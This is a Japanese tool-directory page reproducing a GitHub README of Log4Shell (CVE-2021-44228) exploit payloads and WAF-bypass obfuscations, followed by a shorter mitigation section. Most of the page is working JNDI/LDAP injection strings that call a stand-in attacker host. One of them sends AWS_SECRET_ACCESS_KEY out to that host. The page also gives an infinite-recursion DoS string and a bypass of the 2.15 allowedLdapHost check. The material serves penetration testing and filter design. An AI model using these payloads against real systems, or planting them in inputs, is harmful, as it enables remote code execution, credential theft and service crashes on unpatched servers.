Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Javaエクスプロイト - WAFバイパス手法 | Kitploit
ツール/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
ペイロード生成脆弱性分析エクスプロイトIDS/IPS回避ウェブアプリケーション悪用WAFバイパスペネトレーションテスト学習と教育レッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Javaエクスプロイト - WAFバイパス手法

リポジトリを見る
9501344年前Kitploit レビュー済み
🤝 サポートをお願いします - コンテンツを気に入ったら ⭐️ をお願いします | Twitterでシェア | 私をフォローする

🐱‍💻 ✂️ 🤬 LOG4J Java エクスプロイト - WAF およびパッチバイパスのトリック

📝 説明

CVE-2021-44228 は以下で動作します:

log4j: 2.0 <= Apache log4j <= 2.14.1

すでにパッチが適用された Java バージョン: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender は、jndi:ldap:... を含む .java ファイルを削除し始めました。

単純な攻撃者スクリプト(RCE の可能性あり):

${jndi:ldap://somesitehackerofhell.com/z}

WAF または開発者は、以下のフレーズをブロックし始めました:

  • "ldap:"
  • "jndi:"

アプリケーションを保護するため。

しかし、攻撃者は以下のテクニックのいずれかを使用してバイパスできます:

1. システム環境変数

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Apache Log4j 2 ドキュメントより: ${env:ENV_NAME:-default_value}

ENV_NAME システム環境変数が存在しない場合、:- の後のテキストを使用します。

攻撃者は ENV_NAME の代わりに任意の名前を使用できますが、存在しない名前である必要があります。

または、ハッカーは環境変数を読み取ることもできます。例: AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

その他のシークレットについては、🦄🔒 環境変数内のシークレットの素晴らしいリスト 🖥️ をご覧ください。

システム環境変数を確認できます:

  • Windows では PowerShell で dir env: を実行
  • Linux/MacOS ではターミナルで printenv または env を実行

2. 小文字または大文字ルックアップ

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup LowerLookup は、渡された引数を小文字に変換します。値はネストされたルックアップの結果であると推測されます。

${lower:<text>}

Upper Lookup UpperLookup は、渡された引数を大文字に変換します。値はネストされたルックアップの結果であると推測されます。

${upper:<text>}


3. "::-" 記法

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. 大文字を含む無効な Unicode 文字

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı は i に変換されます


5. システムプロパティ

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

SYS_NAME システムプロパティが存在しない場合、:- の後のテキストを使用します


6. ":-" 記法

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. 日付

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java の日付書式設定は YYYY を 2021 に変換しますが、'YYYY' は YYYY に、'j' は j に変換します。


8. HTML URL エンコーディング

文字を次のように置き換えます:

  • } を %7D
  • { を %7B
  • $ を %24

詳細はこちら HTML URL エンコーディングリファレンス


9. 存在しないルックアップ

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

ルックアップの存在を確認せず、デフォルトをそのまま使用します。


10. ポリモーフィック(JSON REST API リクエスト)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"これらのキーと値は個別には攻撃を表しません。しかし、それらすべてを組み合わせると攻撃となり、この攻撃は JSON パーサーのために検出システムに対して透過的です。" 続きを読む...


11. Unicode 文字(JSON REST API リクエスト)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

一部の文字を unicode に変換します。

Unicode コンバーターオンライン


12. # を使ったトリック(log4j 2.15 で動作)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Log4J 2.15.0 の allowedLdapHost および allowedClasses チェックをバイパスします。java.net.URI の getHost() メソッドは、# の前の値を実際のホストとして返します。しかし、JNDI/LDAP リゾルバーは完全なホスト名文字列に解決し、悪意のある LDAP サーバーへの接続を試みます。

続きを読む...


13. DoS 攻撃(log4j 2.8 - 2.16 で動作 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

何らかの理由で次の文字列に対して文字列置換が試みられると、無限再帰が発生し、アプリケーションが クラッシュ します。

続きを読む...


14. PDF を配信チャネルとして使用。

特別な PDF ファイルを作成して CVE-2021-44228 を悪用します。

PDF の例

PDF ファイルを入手して続きを読む...

テスト

エントリをテストするには、以下を使用できます:

  • https://canarytokens.org/generate - トークン Log4Shell を選択(エントリ通知はメールまたは webhook で送信されます)、生成して somesitehackerofhell.com/z を置き換えます
  • https://dnslog.cn/ - サブドメインを生成し、somesitehackerofhell.com/z を置き換えます

✨ CVE-2021-44228 から保護するための最良の解決策

tl;dr log4j-2.17.1 以降に更新してください。

Log4j 1.x の緩和策: Log4j 1.x には Lookups がないため、リスクは低くなります。Log4j 1.x を使用するアプリケーションは、構成で JNDI を使用する場合にのみこの攻撃に対して脆弱です。この脆弱性については別途 CVE(CVE-2021-4104)が発行されています。緩和策としては、ロギング構成に JMSAppender が構成されていないことを確認してください。JMSAppender のない Log4j 1.x 構成は、この脆弱性の影響を受けません。

Log4j 2.x の緩和策: 以下の緩和技術のいずれかを実装してください。

  • Java 8(またはそれ以降)のユーザーは、リリース 2.17.1 にアップグレードする必要があります。
  • Java 7 が必要なユーザーは、リリース 2.12.4 が利用可能になったらアップグレードする必要があります(作業中、近日中に利用可能になる見込み)。
  • それ以外の場合は、クラスパスから JndiLookup クラスを削除します: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class および ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップへの参照を、HTTP ヘッダーやユーザー入力などアプリケーション外部のソースから発信される場合に削除します。

影響を受けるのは log4j-core JAR ファイルのみです。log4j-api JAR ファイルのみを使用し、log4j-core JAR ファイルを使用しないアプリケーションは、この脆弱性の影響を受けません。

出典および続きを読む...

安全を保ちましょう!

🤝 サポートをお願いします

🤝 サポートをお願いします - コンテンツやミームを気に入ったら ⭐️ をお願いします | Twitterでシェア | 私をフォローする

log2

📝 便利なリンク

  • Apache Log4j 2 v. 2.15.0 - ユーザーガイド
  • lower/upper バイパスの最初の公開と思われるもの
  • CVE-2021-44228(Apache Log4j リモートコード実行)
  • HTML URL エンコーディングリファレンス
  • GitHub レビュー済み CVE-2021-44228 - Log4j におけるリモートコードインジェクション
  • Apache Log4j セキュリティ脆弱性
  • プログラム log4j-detector - CVE-2021-44228 および CVE-2021-45046 に対して脆弱な Log4J バージョンをファイルシステム上の任意のアプリケーション内で検出します
  • 有効な JSON REST API リクエストであるポリモーフィック Log4J エクスプロイト
  • データ形式の難読化を使用した NGFW/WAF のバイパス
  • LOG4J2-3230 特定の文字列が無限再帰を引き起こす可能性がある
  • Log4J 2.15.0 の allowedLdapHost および allowedClasses チェックをバイパスする PoC はこちら
  • 🦄🔒 環境変数内のシークレットの素晴らしいリスト 🖥️
  • PDF を配信チャネルとして使用した CVE-2021-44228 の悪用 - PoC

🙌 コントリビューションいただいたユーザーの皆様に感謝

  • すべてのコントリビューター
  • Whatsec - さらなるバイパス例の提供
  • manjula-aw - セキュリティセクションの改善
  • juliusmusseau - もう一つのバイパス例の提供

✔️ 免責事項

このプロジェクトは教育目的でのみ使用できます。事前の許可なく対象システムに対してこのソフトウェアを使用することは違法であり、このソフトウェアの誤用による損害について作者は責任を負いません。

私は CVE-2021-44228 および一部のバイパスの作者ではありません。

ツールをダウンロード